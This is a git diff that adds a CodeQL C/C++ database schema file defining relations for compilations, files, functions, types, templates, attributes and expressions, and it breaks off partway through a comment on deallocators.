diff --git a/cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/old.dbscheme b/cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/old.dbscheme new file mode 100644 index 000000000000..0853f43dc8c0 --- /dev/null +++ b/cpp/downgrades/0853f43dc8c08deecb473c54a2b70da8597f1ab5/old.dbscheme @@ -0,0 +1,2578 @@ + +/*- Compilations -*/ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The expanded arguments that were passed to the extractor for a + * compiler invocation. This is similar to `compilation_args`, but + * for a `@someFile` argument, it includes the arguments from that + * file, rather than just taking the argument literally. + */ +#keyset[id, num] +compilation_expanded_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +/*- External data -*/ + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Lines of code -*/ + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- C++ dbscheme -*/ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +/** + * Gives the TRAP filename that `trap` is associated with. + * For debugging only. + */ +trap_filename( + int trap: @trap, + string filename: string ref +); + +/** + * Gives the tag name for `tag`. + * For debugging only. + */ +tag_name( + int tag: @tag, + string name: string ref +); + +@trap_or_tag = @tag | @trap; + +/** + * Gives the name for the source file. + */ +source_file_name( + int sf: @source_file, + string name: string ref +); + +/** + * In `build-mode: none` overlay mode, indicates that `source_file` + * (`/path/to/foo.c`) uses the TRAP file `trap_file`; i.e. it is the + * TRAP file corresponding to `foo.c`, something it transitively + * includes, or a template instantiation it transitively uses. + */ +source_file_uses_trap( + int source_file: @source_file ref, + int trap_file: @trap ref +); + +/** + * In `build-mode: none` overlay mode, indicates that the TRAP file + * `trap_file` uses tag `tag`. + */ +trap_uses_tag( + int trap_file: @trap ref, + int tag: @tag ref +); + +/** + * Holds if there is a definition of `element` in TRAP file or tag `t`. + */ +in_trap_or_tag( + int element: @element ref, + int t: @trap_or_tag ref +); + +pch_uses( + int pch: @pch ref, + int compilation: @compilation ref, + int id: @file ref +) + +#keyset[pch, compilation] +pch_creations( + int pch: @pch, + int compilation: @compilation ref, + int from: @file ref +) + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location_default ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +case @function.kind of + 0 = @unknown_function +| 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +// ... 6 = @builtin_function deprecated // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +builtin_functions( + int id: @function ref +) + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +// ... 40 _Decimal32 +// ... 41 _Decimal64 +// ... 42 _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 +| 63 = @scalable_vector_count // __SVCount_t +| 64 = @complex_fp16 // _Complex __fp16 +| 65 = @complex_std_bfloat16 // _Complex __bf16 +| 66 = @complex_std_float16 // _Complex std::float16_t +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +| 11 = @scalable_vector // Arm SVE +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +tupleelements( + unique int id: @derivedtype ref, + int num_elements: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +case @type_operator.kind of + 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +case @usertype.kind of + 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); +class_template_generated_from( + unique int template: @usertype ref, + int from: @usertype ref +) + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location_default ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); +function_template_generated_from( + unique int template: @function ref, + int from: @function ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); +variable_template_generated_from( + unique int template: @variable ref, + int from: @variable ref +); + +is_alias_template(unique int id: @usertype ref); +alias_instantiation( + unique int to: @usertype ref, + int from: @usertype ref +); +alias_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +alias_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); +alias_template_generated_from( + unique int template: @usertype ref, + int from: @usertype ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +namespaceattributes( + int namespace_id: @namespace ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype + | @decltype + | @derivedtype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the 